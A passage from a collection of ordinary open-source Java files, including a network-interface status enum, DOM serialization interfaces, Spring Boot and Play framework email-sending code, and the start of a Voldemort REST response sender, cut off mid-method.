operational state of a network interface. * <p> * As described in RFC 2863. */ enum IfOperStatus { /** * Up and operational. Ready to pass packets. */ UP(1), /** * Down and not operational. Not ready to pass packets. */ DOWN(2), /** * In some test mode. */ TESTING(3), /** * The interface status is unknown. */ UNKNOWN(4), /** * The interface is not up, but is in a pending state, waiting for some external event. */ DORMANT(5), /** * Some component is missing */ NOT_PRESENT(6), /** * Down due to state of lower-layer interface(s). */ LOWER_LAYER_DOWN(7); private final int value; IfOperStatus(int value) { this.value = value; } /** * @return the integer value specified in RFC 2863 for this operational status. */ public int getValue() { return this.value; } /** * Find IfOperStatus by the integer value. * * @param value Integer value specified in RFC 2863 * @return the matching IfOperStatu or UNKNOWN if no matching IfOperStatus can be found */ public static IfOperStatus byValue(int value) { return Arrays.stream(IfOperStatus.values()).filter(st -> st.getValue() == value).findFirst() .orElse(UNKNOWN); } } }
oshi/oshi
oshi-core/src/main/java/oshi/hardware/NetworkIF.java
41,073
/* * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ /* * This file is available under and governed by the GNU General Public * License version 2 only, as published by the Free Software Foundation. * However, the following notice accompanied the original version of this * file and, per its terms, should not be removed: * * Copyright (c) 2004 World Wide Web Consortium, * * (Massachusetts Institute of Technology, European Research Consortium for * Informatics and Mathematics, Keio University). All Rights Reserved. This * work is distributed under the W3C(r) Software License [1] in the hope that * it will be useful, but WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 */ package org.w3c.dom.ls; /** * This interface represents an output destination for data. * <p> This interface allows an application to encapsulate information about * an output destination in a single object, which may include a URI, a byte * stream (possibly with a specified encoding), a base URI, and/or a * character stream. * <p> The exact definitions of a byte stream and a character stream are * binding dependent. * <p> The application is expected to provide objects that implement this * interface whenever such objects are needed. The application can either * provide its own objects that implement this interface, or it can use the * generic factory method <code>DOMImplementationLS.createLSOutput()</code> * to create objects that implement this interface. * <p> The <code>LSSerializer</code> will use the <code>LSOutput</code> object * to determine where to serialize the output to. The * <code>LSSerializer</code> will look at the different outputs specified in * the <code>LSOutput</code> in the following order to know which one to * output to, the first one that is not null and not an empty string will be * used: * <ol> * <li> <code>LSOutput.characterStream</code> * </li> * <li> * <code>LSOutput.byteStream</code> * </li> * <li> <code>LSOutput.systemId</code> * </li> * </ol> * <p> <code>LSOutput</code> objects belong to the application. The DOM * implementation will never modify them (though it may make copies and * modify the copies, if necessary). * <p>See also the <a href='http://www.w3.org/TR/2004/REC-DOM-Level-3-LS-20040407'>Document Object Model (DOM) Level 3 Load and Save Specification</a>. */ public interface LSOutput { /** * An attribute of a language and binding dependent type that represents * a writable stream to which 16-bit units can be output. */ public java.io.Writer getCharacterStream(); /** * An attribute of a language and binding dependent type that represents * a writable stream to which 16-bit units can be output. */ public void setCharacterStream(java.io.Writer characterStream); /** * An attribute of a language and binding dependent type that represents * a writable stream of bytes. */ public java.io.OutputStream getByteStream(); /** * An attribute of a language and binding dependent type that represents * a writable stream of bytes. */ public void setByteStream(java.io.OutputStream byteStream); /** * The system identifier, a URI reference [<a href='http://www.ietf.org/rfc/rfc2396.txt'>IETF RFC 2396</a>], for this * output destination. * <br> If the system ID is a relative URI reference (see section 5 in [<a href='http://www.ietf.org/rfc/rfc2396.txt'>IETF RFC 2396</a>]), the * behavior is implementation dependent. */ public String getSystemId(); /** * The system identifier, a URI reference [<a href='http://www.ietf.org/rfc/rfc2396.txt'>IETF RFC 2396</a>], for this * output destination. * <br> If the system ID is a relative URI reference (see section 5 in [<a href='http://www.ietf.org/rfc/rfc2396.txt'>IETF RFC 2396</a>]), the * behavior is implementation dependent. */ public void setSystemId(String systemId); /** * The character encoding to use for the output. The encoding must be a * string acceptable for an XML encoding declaration ([<a href='http://www.w3.org/TR/2004/REC-xml-20040204'>XML 1.0</a>] section * 4.3.3 "Character Encoding in Entities"), it is recommended that * character encodings registered (as charsets) with the Internet * Assigned Numbers Authority [<a href='ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets'>IANA-CHARSETS</a>] * should be referred to using their registered names. */ public String getEncoding(); /** * The character encoding to use for the output. The encoding must be a * string acceptable for an XML encoding declaration ([<a href='http://www.w3.org/TR/2004/REC-xml-20040204'>XML 1.0</a>] section * 4.3.3 "Character Encoding in Entities"), it is recommended that * character encodings registered (as charsets) with the Internet * Assigned Numbers Authority [<a href='ftp://ftp.isi.edu/in-notes/iana/assignments/character-sets'>IANA-CHARSETS</a>] * should be referred to using their registered names. */ public void setEncoding(String encoding); }
dragonwell-project/dragonwell8
jaxp/src/org/w3c/dom/ls/LSOutput.java
41,074
/* * This file and its contents are supplied under the terms of the * Common Development and Distribution License ("CDDL"), version 1.0. * You may only use this file in accordance with the terms of version * 1.0 of the CDDL. * * A full copy of the text of the CDDL should have accompanied this * source. A copy of the CDDL is also available via the Internet at * http://www.illumos.org/license/CDDL. */ /* * Copyright 2024 <contributor> */ /* * Document the purpose of the file here. */
illumos/illumos-gate
usr/src/prototypes/prototype.java
41,075
/* * This file is part of the Heritrix web crawler (crawler.archive.org). * * Licensed to the Internet Archive (IA) by one or more individual * contributors. * * The IA licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.archive.crawler.util; /** * Enumerates existing Heritrix logs * * @author Kristinn Sigurdsson */ public enum Logs{ // TODO: This enum belongs in the heritrix sub project CRAWL ("crawl.log"), ALERTS ("alerts.log"), PROGRESS_STATISTICS ("progress-statistics.log"), RUNTIME_ERRORS ("runtime-errors.log"), NONFATAL_ERRORS ("nonfatal-errors.log"), URI_ERRORS ("uri-errors.log"); protected String filename; Logs(String filename){ this.filename = filename; } public String getFilename(){ return filename; } }
internetarchive/heritrix3
engine/src/main/java/org/archive/crawler/util/Logs.java
41,076
/* * DBeaver - Universal Database Manager * Copyright (C) 2010-2024 DBeaver Corp and others * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.jkiss.dbeaver.registry; import org.jkiss.code.NotNull; import org.jkiss.dbeaver.ModelPreferences; import org.jkiss.dbeaver.model.preferences.DBPPreferenceStore; import org.jkiss.dbeaver.runtime.DBWorkbench; import org.jkiss.dbeaver.utils.RuntimeUtils; import org.jkiss.utils.ArrayUtils; import org.jkiss.utils.CommonUtils; import java.util.Objects; public class SWTBrowserRegistry { private static final String INTERNAL_BROWSER_PROPERTY = "org.eclipse.swt.browser.DefaultType"; // Windows versions which don't have Edge as an available browser, or need to install it manually private static final String[] LEGACY_WINDOWS_VERSIONS = { "Windows 98", //$NON-NLS-1$ "Windows XP", //$NON-NLS-1$ "Windows Vista", //$NON-NLS-1$ "Windows 7", //$NON-NLS-1$ "Windows 8", //$NON-NLS-1$ "Windows 8.1", //$NON-NLS-1$ "Windows Server 2008", //$NON-NLS-1$ "Windows Server 2008 R2", //$NON-NLS-1$ "Windows Server 2012", //$NON-NLS-1$ "Windows Server 2012 R2", //$NON-NLS-1$ "Windows Server 2016", //$NON-NLS-1$ "Windows Server 2019", //$NON-NLS-1$ }; public enum BrowserSelection { EDGE("Microsoft Edge"), IE("Internet Explorer"); private final String name; BrowserSelection(@NotNull String name) { this.name = name; } @NotNull public String getFullName() { return name; } } private SWTBrowserRegistry() { //prevents construction } /** * Returns selected via combo browser or default browser if none is selected */ @NotNull public static BrowserSelection getActiveBrowser() { DBPPreferenceStore preferences = DBWorkbench.getPlatform().getPreferenceStore(); String type = preferences.getString(ModelPreferences.CLIENT_BROWSER); if (CommonUtils.isEmpty(type)) { return getDefaultBrowser(); } else { return Objects.requireNonNull(CommonUtils.valueOf(BrowserSelection.class, type)); } } /** * Returns default browser depends on the OS */ @NotNull public static BrowserSelection getDefaultBrowser() { if (RuntimeUtils.isWindows() && ArrayUtils.containsIgnoreCase(LEGACY_WINDOWS_VERSIONS, System.getProperty("os.name") )) { return BrowserSelection.IE; } else { return BrowserSelection.EDGE; } } /** * Overrides default browser, we want to use Edge for newer version * if the user didn't specify otherwise */ public static void overrideBrowser() { System.setProperty(INTERNAL_BROWSER_PROPERTY, getActiveBrowser().name()); } /** * By passing down BrowserSelection sets browser to be used by eclipse * * @param browser selected browser */ public static void setActiveBrowser(@NotNull BrowserSelection browser) { DBPPreferenceStore preferences = DBWorkbench.getPlatform().getPreferenceStore(); preferences.setValue(ModelPreferences.CLIENT_BROWSER, browser.name()); System.setProperty(INTERNAL_BROWSER_PROPERTY, preferences.getString(ModelPreferences.CLIENT_BROWSER)); } }
dbeaver/dbeaver
plugins/org.jkiss.dbeaver.core/src/org/jkiss/dbeaver/registry/SWTBrowserRegistry.java
41,077
package com.springboot.demo.controller; import java.io.File; import javax.mail.internet.MimeMessage; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.FileSystemResource; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import org.thymeleaf.TemplateEngine; import org.thymeleaf.context.Context; @RestController @RequestMapping("/email") public class EmailController { @Autowired private JavaMailSender jms; @Value("${spring.mail.username}") private String from; @Autowired private TemplateEngine templateEngine; @RequestMapping("sendSimpleEmail") public String sendSimpleEmail() { try { SimpleMailMessage message = new SimpleMailMessage(); message.setFrom(from); message.setTo("[email protected]"); // 接收地址 message.setSubject("一封简单的邮件"); // 标题 message.setText("使用Spring Boot发送简单邮件。"); // 内容 jms.send(message); return "发送成功"; } catch (Exception e) { e.printStackTrace(); return e.getMessage(); } } @RequestMapping("sendHtmlEmail") public String sendHtmlEmail() { MimeMessage message = null; try { message = jms.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo("[email protected]"); // 接收地址 helper.setSubject("一封HTML格式的邮件"); // 标题 // 带HTML格式的内容 StringBuffer sb = new StringBuffer("<p style='color:#42b983'>使用Spring Boot发送HTML格式邮件。</p>"); helper.setText(sb.toString(), true); jms.send(message); return "发送成功"; } catch (Exception e) { e.printStackTrace(); return e.getMessage(); } } @RequestMapping("sendAttachmentsMail") public String sendAttachmentsMail() { MimeMessage message = null; try { message = jms.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo("[email protected]"); // 接收地址 helper.setSubject("一封带附件的邮件"); // 标题 helper.setText("详情参见附件内容!"); // 内容 // 传入附件 FileSystemResource file = new FileSystemResource(new File("src/main/resources/static/file/项目文档.docx")); helper.addAttachment("项目文档.docx", file); jms.send(message); return "发送成功"; } catch (Exception e) { e.printStackTrace(); return e.getMessage(); } } @RequestMapping("sendInlineMail") public String sendInlineMail() { MimeMessage message = null; try { message = jms.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo("[email protected]"); // 接收地址 helper.setSubject("一封带静态资源的邮件"); // 标题 helper.setText("<html><body>博客图:<img src='cid:img'/></body></html>", true); // 内容 // 传入附件 FileSystemResource file = new FileSystemResource(new File("src/main/resources/static/img/sunshine.png")); helper.addInline("img", file); jms.send(message); return "发送成功"; } catch (Exception e) { e.printStackTrace(); return e.getMessage(); } } @RequestMapping("sendTemplateEmail") public String sendTemplateEmail(String code) { MimeMessage message = null; try { message = jms.createMimeMessage(); MimeMessageHelper helper = new MimeMessageHelper(message, true); helper.setFrom(from); helper.setTo("[email protected]"); // 接收地址 helper.setSubject("邮件摸板测试"); // 标题 // 处理邮件模板 Context context = new Context(); context.setVariable("code", code); String template = templateEngine.process("emailTemplate", context); helper.setText(template, true); jms.send(message); return "发送成功"; } catch (Exception e) { e.printStackTrace(); return e.getMessage(); } } }
wuyouzhuguli/SpringAll
22.Spring-Boot-Email/src/main/java/com/springboot/demo/controller/EmailController.java
41,078
package play.mvc; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.concurrent.ExecutionException; import java.util.concurrent.Future; import javax.activation.DataSource; import javax.activation.URLDataSource; import javax.mail.internet.InternetAddress; import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.mail.Email; import org.apache.commons.mail.EmailAttachment; import org.apache.commons.mail.EmailException; import org.apache.commons.mail.HtmlEmail; import org.apache.commons.mail.MultiPartEmail; import org.apache.commons.mail.SimpleEmail; import play.Logger; import play.Play; import play.classloading.enhancers.LocalvariablesNamesEnhancer.LocalVariablesNamesTracer; import play.classloading.enhancers.LocalvariablesNamesEnhancer.LocalVariablesSupport; import play.exceptions.MailException; import play.exceptions.TemplateNotFoundException; import play.exceptions.UnexpectedException; import play.libs.F; import play.libs.F.T4; import play.libs.Mail; import play.libs.MimeTypes; import play.templates.Template; import play.templates.TemplateLoader; import play.vfs.VirtualFile; /** * Application mailer support */ public class Mailer implements LocalVariablesSupport { protected static final ThreadLocal<Map<String, Object>> infos = new ThreadLocal<>(); /** * Set subject of mail, optionally providing formatting arguments * * @param subject * plain String or formatted string - interpreted as formatted string only if arguments are provided * @param args * optional arguments for formatting subject */ public static void setSubject(String subject, Object... args) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } if (args.length != 0) { subject = String.format(subject, args); } map.put("subject", subject); infos.set(map); } public static void addRecipient(String... recipients) { List<String> recipientsParam = Arrays.asList(recipients); addRecipients(recipientsParam); } /** * Add recipients * * @param recipients * List of recipients * @deprecated use method {{@link #addRecipient(String...)}} */ @Deprecated public static void addRecipient(Object... recipients) { List<String> recipientList = new ArrayList<>(recipients.length); for (Object recipient : recipients) { recipientList.add(recipient.toString()); } addRecipients(recipientList); } private static void addRecipients(List<String> recipientsParam) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } List<String> recipientsList = (List<String>) map.get("recipients"); if (recipientsList == null) { recipientsList = new ArrayList<>(); map.put("recipients", recipientsList); } recipientsList.addAll(recipientsParam); infos.set(map); } @SuppressWarnings("unchecked") public static void addBcc(String... bccs) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } List<String> bccsList = (List<String>) map.get("bccs"); if (bccsList == null) { bccsList = new ArrayList<>(); map.put("bccs", bccsList); } bccsList.addAll(Arrays.asList(bccs)); infos.set(map); } @SuppressWarnings("unchecked") public static void addCc(String... ccs) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } List<String> ccsList = (List<String>) map.get("ccs"); if (ccsList == null) { ccsList = new ArrayList<>(); map.put("ccs", ccsList); } ccsList.addAll(Arrays.asList(ccs)); infos.set(map); } @SuppressWarnings("unchecked") public static void addAttachment(EmailAttachment... attachments) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } List<EmailAttachment> attachmentsList = (List<EmailAttachment>) map.get("attachments"); if (attachmentsList == null) { attachmentsList = new ArrayList<>(); map.put("attachments", attachmentsList); } attachmentsList.addAll(Arrays.asList(attachments)); infos.set(map); } @SuppressWarnings("unchecked") public static void attachDataSource(DataSource dataSource, String name, String description, String disposition) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } List<T4<DataSource, String, String, String>> datasourceList = (List<T4<DataSource, String, String, String>>) map.get("datasources"); if (datasourceList == null) { datasourceList = new ArrayList<>(); map.put("datasources", datasourceList); } datasourceList.add(F.T4(dataSource, name, description, disposition)); infos.set(map); } public static void attachDataSource(DataSource dataSource, String name, String description) { attachDataSource(dataSource, name, description, EmailAttachment.ATTACHMENT); } public static String attachInlineEmbed(DataSource dataSource, String name) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } InlineImage inlineImage = new InlineImage(dataSource); Map<String, InlineImage> inlineEmbeds = (Map<String, InlineImage>) map.get("inlineEmbeds"); if (inlineEmbeds == null) { inlineEmbeds = new HashMap<>(); map.put("inlineEmbeds", inlineEmbeds); } inlineEmbeds.put(name, inlineImage); infos.set(map); return "cid:" + inlineImage.cid; } public static void setContentType(String contentType) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } map.put("contentType", contentType); infos.set(map); } /** * Can be of the form xxx &lt;[email protected]&gt; * * @param from * The sender name (ex: xxx &lt;[email protected]&gt;) */ public static void setFrom(String from) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } map.put("from", from); infos.set(map); } public static void setFrom(InternetAddress from) { setFrom(from.toString()); } private static class InlineImage { /** content id */ private final String cid; /** <code>DataSource</code> for the content */ private final DataSource dataSource; public InlineImage(DataSource dataSource) { this(null, dataSource); } public InlineImage(String cid, DataSource dataSource) { super(); this.cid = cid != null ? cid : RandomStringUtils.randomAlphabetic(HtmlEmail.CID_LENGTH).toLowerCase(); this.dataSource = dataSource; } public String getCid() { return this.cid; } public DataSource getDataSource() { return this.dataSource; } } private static class VirtualFileDataSource implements DataSource { private final VirtualFile virtualFile; public VirtualFileDataSource(VirtualFile virtualFile) { this.virtualFile = virtualFile; } public VirtualFileDataSource(String relativePath) { this.virtualFile = VirtualFile.fromRelativePath(relativePath); } @Override public String getContentType() { return MimeTypes.getContentType(this.virtualFile.getName()); } @Override public InputStream getInputStream() throws IOException { return this.virtualFile.inputstream(); } @Override public String getName() { return this.virtualFile.getName(); } @Override public OutputStream getOutputStream() throws IOException { return this.virtualFile.outputstream(); } public VirtualFile getVirtualFile() { return this.virtualFile; } @Override public boolean equals(Object obj) { if (!(obj instanceof VirtualFileDataSource)) { return false; } VirtualFileDataSource rhs = (VirtualFileDataSource) obj; return this.virtualFile.equals(rhs.virtualFile); } } @Deprecated public static String getEmbedddedSrc(String urlString, String name) { return getEmbeddedSrc(urlString, name); } public static String getEmbeddedSrc(String urlString, String name) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } DataSource dataSource; URL url = null; VirtualFile img = Play.getVirtualFile(urlString); if (img == null) { // Not a local image, check for a distant image try { url = new URL(urlString); } catch (MalformedURLException e1) { throw new UnexpectedException("Invalid URL '" + urlString + "'", e1); } if (name == null || name.isEmpty()) { String[] parts = url.getPath().split("/"); name = parts[parts.length - 1]; } if (StringUtils.isEmpty(name)) { throw new UnexpectedException("name cannot be null or empty"); } dataSource = url.getProtocol().equals("file") ? new VirtualFileDataSource(url.getFile()) : new URLDataSource(url); } else { dataSource = new VirtualFileDataSource(img); } Map<String, InlineImage> inlineEmbeds = (Map<String, InlineImage>) map.get("inlineEmbeds"); // Check if a URLDataSource for this name has already been attached; // if so, return the cached CID value. if (inlineEmbeds != null && inlineEmbeds.containsKey(name)) { InlineImage ii = inlineEmbeds.get(name); if (ii.getDataSource() instanceof URLDataSource) { URLDataSource urlDataSource = (URLDataSource) ii.getDataSource(); // Make sure the supplied URL points to the same thing // as the one already associated with this name. // NOTE: Comparing URLs with URL.equals() is a blocking // operation // in the case of a network failure therefore we use // url.toExternalForm().equals() here. if (url == null || urlDataSource == null || !url.toExternalForm().equals(urlDataSource.getURL().toExternalForm())) { throw new UnexpectedException("embedded name '" + name + "' is already bound to URL " + urlDataSource.getURL() + "; existing names cannot be rebound"); } } else if (!ii.getDataSource().equals(dataSource)) { throw new UnexpectedException("embedded name '" + name + "' is already bound to URL " + dataSource.getName() + "; existing names cannot be rebound"); } return "cid:" + ii.getCid(); } // Verify that the data source is valid. try (InputStream is = dataSource.getInputStream()) { } catch (IOException e) { throw new UnexpectedException("Invalid URL " + urlString + " for image " + name, e); } return attachInlineEmbed(dataSource, name); } /** * Can be of the form xxx &lt;[email protected]&gt; * * @param replyTo * : The reply to address (ex: xxx &lt;[email protected]&gt;) */ public static void setReplyTo(String replyTo) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } map.put("replyTo", replyTo); infos.set(map); } public static void setReplyTo(InternetAddress replyTo) { setReplyTo(replyTo.toString()); } public static void setCharset(String bodyCharset) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } map.put("charset", bodyCharset); infos.set(map); } @SuppressWarnings("unchecked") public static void addHeader(String key, String value) { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } Map<String, String> headers = (Map<String, String>) map.get("headers"); if (headers == null) { headers = new HashMap<>(); } headers.put(key, value); map.put("headers", headers); infos.set(map); } public static Future<Boolean> send(Object... args) { try { Map<String, Object> map = infos.get(); if (map == null) { throw new UnexpectedException("Mailer not instrumented ?"); } // Body character set String charset = (String) infos.get().get("charset"); // Headers Map<String, String> headers = (Map<String, String>) infos.get().get("headers"); // Subject String subject = (String) infos.get().get("subject"); String templateName = (String) infos.get().get("method"); if (templateName.startsWith("notifiers.")) { templateName = templateName.substring("notifiers.".length()); } if (templateName.startsWith("controllers.")) { templateName = templateName.substring("controllers.".length()); } templateName = templateName.substring(0, templateName.indexOf('(')); templateName = templateName.replace('.', '/'); // overrides Template name if (args.length > 0 && args[0] instanceof String && LocalVariablesNamesTracer.getAllLocalVariableNames(args[0]).isEmpty()) { templateName = args[0].toString(); } Map<String, Object> templateHtmlBinding = new HashMap<>(); Map<String, Object> templateTextBinding = new HashMap<>(); for (Object o : args) { List<String> names = LocalVariablesNamesTracer.getAllLocalVariableNames(o); for (String name : names) { templateHtmlBinding.put(name, o); templateTextBinding.put(name, o); } } // The rule is as follow: If we ask for text/plain, we don't care about the HTML // If we ask for HTML and there is a text/plain we add it as an alternative. // If contentType is not specified look at the template available: // - .txt only -> text/plain // else // - -> text/html String contentType = (String) infos.get().get("contentType"); String bodyHtml = null; String bodyText = ""; try { Template templateHtml = TemplateLoader.load(templateName + ".html"); bodyHtml = templateHtml.render(templateHtmlBinding); } catch (TemplateNotFoundException e) { if (contentType != null && !contentType.startsWith("text/plain")) { throw e; } } try { Template templateText = TemplateLoader.load(templateName + ".txt"); bodyText = templateText.render(templateTextBinding); } catch (TemplateNotFoundException e) { if (bodyHtml == null && (contentType == null || contentType.startsWith("text/plain"))) { throw e; } } // Content type if (contentType == null) { if (bodyHtml != null) { contentType = "text/html"; } else { contentType = "text/plain"; } } // Recipients List<String> recipientList = (List<String>) infos.get().get("recipients"); // From String from = (String) infos.get().get("from"); String replyTo = (String) infos.get().get("replyTo"); Email email; if (infos.get().get("attachments") == null && infos.get().get("datasources") == null && infos.get().get("inlineEmbeds") == null) { if (StringUtils.isEmpty(bodyHtml)) { email = new SimpleEmail(); email.setMsg(bodyText); } else { HtmlEmail htmlEmail = new HtmlEmail(); htmlEmail.setHtmlMsg(bodyHtml); if (!StringUtils.isEmpty(bodyText)) { htmlEmail.setTextMsg(bodyText); } email = htmlEmail; } } else { if (StringUtils.isEmpty(bodyHtml)) { email = new MultiPartEmail(); email.setMsg(bodyText); } else { HtmlEmail htmlEmail = new HtmlEmail(); htmlEmail.setHtmlMsg(bodyHtml); if (!StringUtils.isEmpty(bodyText)) { htmlEmail.setTextMsg(bodyText); } email = htmlEmail; Map<String, InlineImage> inlineEmbeds = (Map<String, InlineImage>) infos.get().get("inlineEmbeds"); if (inlineEmbeds != null) { for (Map.Entry<String, InlineImage> entry : inlineEmbeds.entrySet()) { htmlEmail.embed(entry.getValue().getDataSource(), entry.getKey(), entry.getValue().getCid()); } } } MultiPartEmail multiPartEmail = (MultiPartEmail) email; List<EmailAttachment> objectList = (List<EmailAttachment>) infos.get().get("attachments"); if (objectList != null) { for (EmailAttachment object : objectList) { multiPartEmail.attach(object); } } // Handle DataSource List<T4<DataSource, String, String, String>> datasourceList = (List<T4<DataSource, String, String, String>>) infos.get() .get("datasources"); if (datasourceList != null) { for (T4<DataSource, String, String, String> ds : datasourceList) { multiPartEmail.attach(ds._1, ds._2, ds._3, ds._4); } } } email.setCharset("utf-8"); if (from != null) { try { InternetAddress iAddress = new InternetAddress(from); email.setFrom(iAddress.getAddress(), iAddress.getPersonal()); } catch (Exception e) { email.setFrom(from); } } if (replyTo != null) { try { InternetAddress iAddress = new InternetAddress(replyTo); email.addReplyTo(iAddress.getAddress(), iAddress.getPersonal()); } catch (Exception e) { email.addReplyTo(replyTo); } } if (recipientList != null) { for (String recipient : recipientList) { try { InternetAddress iAddress = new InternetAddress(recipient); email.addTo(iAddress.getAddress(), iAddress.getPersonal()); } catch (Exception e) { email.addTo(recipient); } } } else { throw new MailException("You must specify at least one recipient."); } List<String> ccsList = (List<String>) infos.get().get("ccs"); if (ccsList != null) { for (String cc : ccsList) { email.addCc(cc); } } List<String> bccsList = (List<String>) infos.get().get("bccs"); if (bccsList != null) { for (String bcc : bccsList) { try { InternetAddress iAddress = new InternetAddress(bcc); email.addBcc(iAddress.getAddress(), iAddress.getPersonal()); } catch (Exception e) { email.addBcc(bcc); } } } if (!StringUtils.isEmpty(charset)) { email.setCharset(charset); } email.setSubject(subject); email.updateContentType(contentType); if (headers != null) { for (String key : headers.keySet()) { email.addHeader(key, headers.get(key)); } } return Mail.send(email); } catch (EmailException ex) { throw new MailException("Cannot send email", ex); } } public static boolean sendAndWait(Object... args) { try { Future<Boolean> result = send(args); return result.get(); } catch (InterruptedException | ExecutionException e) { Logger.error(e, "Error while waiting Mail.send result"); } return false; } }
playframework/play1
framework/src/play/mvc/Mailer.java
41,079
package voldemort.rest; import static org.jboss.netty.handler.codec.http.HttpHeaders.Names.CONTENT_LENGTH; import static org.jboss.netty.handler.codec.http.HttpHeaders.Names.CONTENT_LOCATION; import static org.jboss.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TRANSFER_ENCODING; import static org.jboss.netty.handler.codec.http.HttpHeaders.Names.CONTENT_TYPE; import static org.jboss.netty.handler.codec.http.HttpResponseStatus.OK; import static org.jboss.netty.handler.codec.http.HttpVersion.HTTP_1_1; import java.io.IOException; import java.util.List; import java.util.Properties; import javax.mail.MessagingException; import javax.mail.Session; import javax.mail.internet.MimeBodyPart; import javax.mail.internet.MimeMessage; import javax.mail.internet.MimeMultipart; import org.apache.commons.io.output.ByteArrayOutputStream; import org.apache.log4j.Logger; import org.jboss.netty.buffer.ChannelBuffer; import org.jboss.netty.buffer.ChannelBuffers; import org.jboss.netty.channel.MessageEvent; import org.jboss.netty.handler.codec.http.DefaultHttpResponse; import org.jboss.netty.handler.codec.http.HttpResponse; import voldemort.store.stats.StoreStats; import voldemort.store.stats.Tracked; import voldemort.utils.ByteArray; import voldemort.versioning.VectorClock; import voldemort.versioning.Versioned; public class GetResponseSender extends RestResponseSender { private List<Versioned<byte[]>> versionedValues; private ByteArray key; private String storeName; private final static Logger logger = Logger.getLogger(GetResponseSender.class); public GetResponseSender(MessageEvent messageEvent, ByteArray key, List<Versioned<byte[]>> versionedValues, String storeName) { super(messageEvent); this.versionedValues = versionedValues; this.key = key; this.storeName = storeName; } /** * Sends a multipart response. Each body part represents a versioned value * of the given key. * * @throws IOException * @throws MessagingException */ @Override public void sendResponse(StoreStats performanceStats, boolean isFromLocalZone, long startTimeInMs) throws Exception { /* * Pay attention to the code below. Note that in this method we wrap a multiPart object with a mimeMessage. * However when writing to the outputStream we only send the multiPart object and not the entire * mimeMessage. This is intentional. * * In the earlier version of this code we used to create a multiPart object and just send that multiPart * across the wire. * * However, we later discovered that upon setting the content of a MimeBodyPart, JavaMail internally creates * a DataHandler object wrapping the object you passed in. The part's Content-Type header is not updated * immediately. In order to get the headers updated, one needs to to call MimeMessage.saveChanges() on the * enclosing message, which cascades down the MIME structure into a call to MimeBodyPart.updateHeaders() * on the body part. It's this updateHeaders call that transfers the content type from the * DataHandler to the part's MIME Content-Type header. * * To make sure that the Content-Type headers are being updated (without changing too much code), we decided * to wrap the multiPart in a mimeMessage, call mimeMessage.saveChanges() and then just send the multiPart. * This is to make sure multiPart's headers are updated accurately. */ MimeMessage message = new MimeMessage(Session.getDefaultInstance(new Properties())); MimeMultipart multiPart = new MimeMultipart(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); String base64Key = RestUtils.encodeVoldemortKey(key.get()); String contentLocationKey = "/" + this.storeName + "/" + base64Key; for(Versioned<byte[]> versionedValue: versionedValues) { byte[] responseValue = versionedValue.getValue(); 